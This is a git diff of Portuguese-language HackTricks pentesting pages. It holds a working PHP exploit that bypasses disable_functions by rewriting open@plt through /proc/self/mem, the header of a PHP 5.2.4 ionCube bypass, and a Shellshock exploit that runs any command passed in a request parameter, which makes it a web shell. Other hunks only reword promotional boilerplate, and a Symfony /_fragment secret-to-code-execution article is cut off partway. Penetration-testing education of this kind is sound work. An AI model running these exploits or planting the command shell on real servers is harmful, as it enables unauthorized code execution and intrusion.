$name_off = unp(substr($bin, $i, 4));
|
$name_off = unp(substr($bin, $i, 4));
|
||||||
$name = '';
|
$name = '';
|
||||||
$j = $strtab_off + $name_off - 1;
|
$j = $strtab_off + $name_off - 1;
|
||||||
while($bin[++$j] != "\0") {
|
while($bin[++$j] != "\0") {
|
||||||
$name .= $bin[$j];
|
$name .= $bin[$j];
|
||||||
}
|
}
|
||||||
if($name == '__libc_system') {
|
if($name == '__libc_system') {
|
||||||
$system_offset = unp(substr($bin, $i + 8, 8));
|
$system_offset = unp(substr($bin, $i + 8, 8));
|
||||||
}
|
}
|
||||||
if($name == '__open') {
|
if($name == '__open') {
|
||||||
$open_offset = unp(substr($bin, $i + 8, 8));
|
$open_offset = unp(substr($bin, $i + 8, 8));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return array($system_offset, $open_offset);
|
return array($system_offset, $open_offset);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
|
echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
|
||||||
if(strpos(php_uname('a'), 'x86_64') === false) {
|
if(strpos(php_uname('a'), 'x86_64') === false) {
|
||||||
echo "[-] This exploit is for x64 Linux. Exiting\n";
|
echo "[-] This exploit is for x64 Linux. Exiting\n";
|
||||||
exit;
|
exit;
|
||||||
}
|
}
|
||||||
if(substr(php_uname('r'), 0, 4) < 2.98) {
|
if(substr(php_uname('r'), 0, 4) < 2.98) {
|
||||||
echo "[-] Too old kernel (< 2.98). Might not work\n";
|
echo "[-] Too old kernel (< 2.98). Might not work\n";
|
||||||
}
|
}
|
||||||
echo "[*] Trying to get open@plt offset in PHP binary\n";
|
echo "[*] Trying to get open@plt offset in PHP binary\n";
|
||||||
$open_php = parseelf('/proc/self/exe', true);
|
$open_php = parseelf('/proc/self/exe', true);
|
||||||
if($open_php == 0) {
|
if($open_php == 0) {
|
||||||
echo "[-] Failed. Exiting\n";
|
echo "[-] Failed. Exiting\n";
|
||||||
exit;
|
exit;
|
||||||
}
|
}
|
||||||
echo '[+] Offset is 0x' . dechex($open_php) . "\n";
|
echo '[+] Offset is 0x' . dechex($open_php) . "\n";
|
||||||
$maps = file_get_contents('/proc/self/maps');
|
$maps = file_get_contents('/proc/self/maps');
|
||||||
|
@ -123,8 +121,8 @@ echo "[*] Libc location: $r[1]\n";
|
||||||
echo "[*] Trying to get open and system symbols from Libc\n";
|
echo "[*] Trying to get open and system symbols from Libc\n";
|
||||||
list($system_offset, $open_offset) = parseelf($r[1]);
|
list($system_offset, $open_offset) = parseelf($r[1]);
|
||||||
if($system_offset == 0 or $open_offset == 0) {
|
if($system_offset == 0 or $open_offset == 0) {
|
||||||
echo "[-] Failed. Exiting\n";
|
echo "[-] Failed. Exiting\n";
|
||||||
exit;
|
exit;
|
||||||
}
|
}
|
||||||
echo "[+] Got them. Seeking for address in memory\n";
|
echo "[+] Got them. Seeking for address in memory\n";
|
||||||
$mem = fopen('/proc/self/mem', 'rb');
|
$mem = fopen('/proc/self/mem', 'rb');
|
||||||
|
@ -138,24 +136,22 @@ echo "[*] Rewriting open@plt address\n";
|
||||||
$mem = fopen('/proc/self/mem', 'wb');
|
$mem = fopen('/proc/self/mem', 'wb');
|
||||||
fseek($mem, $open_php);
|
fseek($mem, $open_php);
|
||||||
if(fwrite($mem, packlli($system_addr))) {
|
if(fwrite($mem, packlli($system_addr))) {
|
||||||
echo "[+] Address written. Executing cmd\n";
|
echo "[+] Address written. Executing cmd\n";
|
||||||
readfile('/usr/bin/id');
|
readfile('/usr/bin/id');
|
||||||
exit;
|
exit;
|
||||||
}
|
}
|
||||||
echo "[-] Write failed. Exiting\n";
|
echo "[-] Write failed. Exiting\n";
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,23 +1,19 @@
|
||||||
# Exploração da extensão ionCube do PHP 5.2.4
|
<details>
|
||||||
|
|
||||||
## Descrição
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
Esta técnica de exploração é usada para contornar as restrições impostas pelas funções `disable_functions` e `open_basedir` no PHP 5.2.4. A exploração é possível devido a uma vulnerabilidade na extensão ionCube Loader.
|
|
||||||
|
|
||||||
## Detalhes
|
Outras formas de apoiar o HackTricks:
|
||||||
A extensão ionCube Loader é usada para carregar arquivos PHP codificados com ionCube. No entanto, a extensão contém uma vulnerabilidade que permite que um invasor execute código arbitrário no servidor. O invasor pode explorar essa vulnerabilidade para contornar as restrições impostas pelas funções `disable_functions` e `open_basedir`.
|
|
||||||
|
|
||||||
Para explorar essa vulnerabilidade, o invasor precisa enviar um arquivo PHP codificado com ionCube para o servidor. O arquivo deve conter uma chamada para a função `ioncube_loader_iversion()`. Quando a extensão ionCube Loader tenta carregar o arquivo, ela executa a função `ioncube_loader_iversion()`. O invasor pode explorar essa chamada para executar código arbitrário no servidor.
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
## Exploração
|
</details>
|
||||||
Para explorar essa vulnerabilidade, o invasor precisa seguir os seguintes passos:
|
|
||||||
|
|
||||||
1. Codificar um arquivo PHP com ionCube que contenha uma chamada para a função `ioncube_loader_iversion()`.
|
|
||||||
2. Enviar o arquivo PHP para o servidor.
|
|
||||||
3. Quando a extensão ionCube Loader tentar carregar o arquivo, ela executará a função `ioncube_loader_iversion()`.
|
|
||||||
4. O invasor pode explorar essa chamada para executar código arbitrário no servidor.
|
|
||||||
|
|
||||||
## Mitigação
|
# Exploit da extensão ionCube do PHP 5.2.4
|
||||||
Para mitigar essa vulnerabilidade, é recomendável atualizar a extensão ionCube Loader para a versão mais recente. Além disso, é recomendável restringir o acesso ao servidor e limitar as permissões dos usuários.
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
|
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
|
||||||
|
@ -57,16 +53,14 @@ echo $MyBoot_ioncube;
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,61 +1,55 @@
|
||||||
# Exploração do Shellshock do PHP 5.x
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# PHP 5.x Shellshock Exploit
|
||||||
|
|
||||||
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
||||||
|
|
||||||
O Shellshock é uma vulnerabilidade que afeta o Bash e pode ser explorada para executar comandos arbitrários em um sistema. No entanto, também é possível explorar essa vulnerabilidade em sistemas que executam o PHP 5.x.
|
|
||||||
|
|
||||||
Para explorar essa vulnerabilidade, é necessário que a função `shell_exec()` não esteja desabilitada e que o servidor esteja executando uma versão vulnerável do Bash. O seguinte código pode ser usado para explorar a vulnerabilidade:
|
|
||||||
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
echo shell_exec('env x=\'() { :;}; echo vulnerable\' bash -c "echo this is a test"');
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
Se o servidor estiver vulnerável, a saída será:
|
|
||||||
|
|
||||||
```
|
|
||||||
vulnerable
|
|
||||||
this is a test
|
|
||||||
```
|
|
||||||
|
|
||||||
Isso indica que o servidor é vulnerável ao Shellshock e que é possível explorar a vulnerabilidade para executar comandos arbitrários.
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
|
|
||||||
echo "Disabled functions: ".ini_get('disable_functions')."\n";
|
echo "Disabled functions: ".ini_get('disable_functions')."\n";
|
||||||
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
|
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
|
||||||
if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
|
if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
|
||||||
$tmp = tempnam(".","data");
|
$tmp = tempnam(".","data");
|
||||||
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
|
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
|
||||||
// In Safe Mode, the user may only alter environment variables whose names
|
// In Safe Mode, the user may only alter environment variables whose names
|
||||||
// begin with the prefixes supplied by this directive.
|
// begin with the prefixes supplied by this directive.
|
||||||
// By default, users will only be able to set environment variables that
|
// By default, users will only be able to set environment variables that
|
||||||
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
|
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
|
||||||
// PHP will let the user modify ANY environment variable!
|
// PHP will let the user modify ANY environment variable!
|
||||||
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail
|
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail
|
||||||
}
|
}
|
||||||
else return "Not vuln (not bash)";
|
else return "Not vuln (not bash)";
|
||||||
$output = @file_get_contents($tmp);
|
$output = @file_get_contents($tmp);
|
||||||
@unlink($tmp);
|
@unlink($tmp);
|
||||||
if($output != "") return $output;
|
if($output != "") return $output;
|
||||||
else return "No output, or not vuln.";
|
else return "No output, or not vuln.";
|
||||||
}
|
}
|
||||||
echo shellshock($_REQUEST["cmd"]);
|
echo shellshock($_REQUEST["cmd"]);
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,46 +1,44 @@
|
||||||
## Symfony
|
# Symfony
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Introdução <a href="#introduction" id="introduction"></a>
|
## Introdução <a href="#introduction" id="introduction"></a>
|
||||||
|
|
||||||
Desde sua criação em 2008, o uso do framework [Symfony](https://symfony.com) tem crescido cada vez mais em aplicações baseadas em PHP. Agora é um componente central de muitos CMSs conhecidos, como [Drupal](https://www.drupal.org), [Joomla!](https://www.joomla.org), [eZPlatform](https://ezplatform.com) (anteriormente eZPublish) ou [Bolt](https://bolt.cm), e é frequentemente usado para construir sites personalizados.
|
Desde sua criação em 2008, o uso do framework [Symfony](https://symfony.com) tem crescido cada vez mais em aplicações baseadas em PHP. Agora é um componente central de muitos CMSs conhecidos, como [Drupal](https://www.drupal.org), [Joomla!](https://www.joomla.org), [eZPlatform](https://ezplatform.com) (anteriormente eZPublish), ou [Bolt](https://bolt.cm), e é frequentemente usado para construir sites personalizados.
|
||||||
|
|
||||||
Uma das funcionalidades integradas do Symfony, feita para lidar com [ESI (Edge-Side Includes)](https://en.wikipedia.org/wiki/Edge\_Side\_Includes), é a classe [`FragmentListener`](https://github.com/symfony/symfony/blob/5.1/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php). Basicamente, quando alguém emite uma solicitação para `/_fragment`, esse ouvinte define atributos de solicitação a partir dos parâmetros GET fornecidos. Como isso permite **executar código PHP arbitrário** (_mais sobre isso depois_), a solicitação deve ser assinada usando um valor HMAC. A chave criptográfica secreta desse HMAC é armazenada em um valor de configuração do Symfony chamado `secret`.
|
Um dos recursos integrados do Symfony, feito para lidar com [ESI (Edge-Side Includes)](https://en.wikipedia.org/wiki/Edge\_Side\_Includes), é a classe [`FragmentListener`](https://github.com/symfony/symfony/blob/5.1/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php). Essencialmente, quando alguém emite uma solicitação para `/_fragment`, este listener define atributos da solicitação a partir de parâmetros GET fornecidos. Como isso permite **executar código PHP arbitrário** (_mais sobre isso mais tarde_), a solicitação deve ser assinada usando um valor HMAC. A chave criptográfica secreta do HMAC é armazenada sob um valor de configuração do Symfony chamado `secret`.
|
||||||
|
|
||||||
Esse valor de configuração, `secret`, também é usado, por exemplo, para construir tokens CSRF e tokens de lembrança. Dado sua importância, esse valor deve ser obviamente muito aleatório.
|
Este valor de configuração, `secret`, também é usado, por exemplo, para construir tokens CSRF e tokens de lembrar-me. Dada a sua importância, este valor deve obviamente ser muito aleatório.
|
||||||
|
|
||||||
Infelizmente, descobrimos que muitas vezes, o segredo tem um valor **padrão**, ou existem **maneiras de obter o valor, forçá-lo offline ou simplesmente ignorar a verificação de segurança com a qual está envolvido**. Isso afeta principalmente o Bolt, o eZPlatform e o eZPublish.
|
Infelizmente, descobrimos que muitas vezes, o `secret` tem um **valor padrão**, ou existem **formas de obter o valor, forçá-lo offline, ou simplesmente contornar a verificação de segurança com a qual está envolvido**. Isso afeta notavelmente o Bolt, eZPlatform e eZPublish.
|
||||||
|
|
||||||
Embora isso possa parecer um problema de configuração benigno, descobrimos que valores padrão, forçáveis ou adivinháveis estão **muito, muito frequentemente presentes** nos CMSs mencionados, bem como em aplicativos personalizados. Isso se deve principalmente à falta de ênfase em sua importância na documentação ou nos guias de instalação.
|
Embora isso possa parecer um problema de configuração benigno, descobrimos que valores padrão, forçáveis ou previsíveis estão **muito, muito frequentemente presentes** nos CMSs mencionados, bem como em aplicações personalizadas. Isso se deve principalmente a não enfatizar sua importância na documentação ou nos guias de instalação.
|
||||||
|
|
||||||
Além disso, um invasor pode escalar vulnerabilidades menos impactantes para ler o `secret` (por meio de uma divulgação de arquivo), ignorar o processo de assinatura `/_fragment` (usando um SSRF) e até mesmo vazá-lo por meio de `phpinfo()`!
|
Além disso, um atacante pode escalar vulnerabilidades de menor impacto para ler o `secret` (através de uma divulgação de arquivo), contornar o processo de assinatura de `/_fragment` (usando um SSRF) e até vazá-lo através de `phpinfo()`!
|
||||||
|
|
||||||
Neste post, descreveremos como o segredo pode ser obtido em vários CMSs e no framework base, e como obter a execução de código usando esse segredo.
|
Neste post, descreveremos como o `secret` pode ser obtido em vários CMSs e no framework base, e como obter execução de código usando o referido `secret`.
|
||||||
|
|
||||||
## Um pouco de história <a href="#a-little-bit-of-history" id="a-little-bit-of-history"></a>
|
## Um pouco de história <a href="#a-little-bit-of-history" id="a-little-bit-of-history"></a>
|
||||||
|
|
||||||
Sendo um framework moderno, o Symfony teve que lidar com a geração de subpartes de uma solicitação desde sua criação até nossos dias. Antes de `/_fragment`, havia `/_internal` e `/_proxy`, que faziam essencialmente a mesma coisa. Isso produziu muitas vulnerabilidades ao longo dos anos: [CVE-2012-6432](https://symfony.com/blog/security-release-symfony-2-0-20-and-2-1-5-released#cve-2012-6432-code-execution-vulnerability-via-the-internal-routes), [CVE-2014-5245](https://symfony.com/blog/cve-2014-5245-direct-access-of-esi-urls-behind-a-trusted-proxy) e [CVE-2015-4050](https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access), por exemplo.
|
Sendo um framework moderno, o Symfony teve que lidar com a geração de subpartes de uma solicitação desde sua criação até os nossos tempos. Antes de `/_fragment`, havia `/_internal` e `/_proxy`, que faziam essencialmente a mesma coisa. Isso resultou em muitas vulnerabilidades ao longo dos anos: [CVE-2012-6432](https://symfony.com/blog/security-release-symfony-2-0-20-and-2-1-5-released#cve-2012-6432-code-execution-vulnerability-via-the-internal-routes), [CVE-2014-5245](https://symfony.com/blog/cve-2014-5245-direct-access-of-esi-urls-behind-a-trusted-proxy), e [CVE-2015-4050](https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access), por exemplo.
|
||||||
|
|
||||||
Desde o Symfony 4, o segredo é gerado na instalação e a página `/_fragment` é desativada por padrão. Poderíamos pensar, portanto, que a conjunção de ambos ter um `secret` fraco e `/_fragment` habilitado seria rara. Não é: muitos frameworks dependem de versões antigas do Symfony (mesmo o 2.x ainda é muito presente), e implementam um valor `secret` estático ou o geram de forma inadequada. Além disso, muitos dependem do ESI e, como tal, habilitam a página `/_fragment`. Além disso, como veremos, outras vulnerabilidades de baixo impacto podem permitir o despejo do segredo, mesmo que tenha sido gerado com segurança.
|
Desde o Symfony 4, o `secret` é gerado na instalação, e a página `/_fragment` é desativada por padrão. Poder-se-ia pensar, portanto, que a conjunção de ambos, ter um `secret` fraco e `/_fragment` habilitado, seria rara. Não é: muitos frameworks dependem de versões antigas do Symfony (até a 2.x ainda é muito presente), e implementam um valor `secret` estático ou o geram de forma inadequada. Além disso, muitos dependem do ESI e, como tal, habilitam a página `/_fragment`. Além disso, como veremos, outras vulnerabilidades de menor impacto podem permitir despejar o `secret`, mesmo que tenha sido gerado de forma segura.
|
||||||
|
|
||||||
## Executando código com a ajuda de `secret` <a href="#executing-code-with-the-help-of-secret" id="executing-code-with-the-help-of-secret"></a>
|
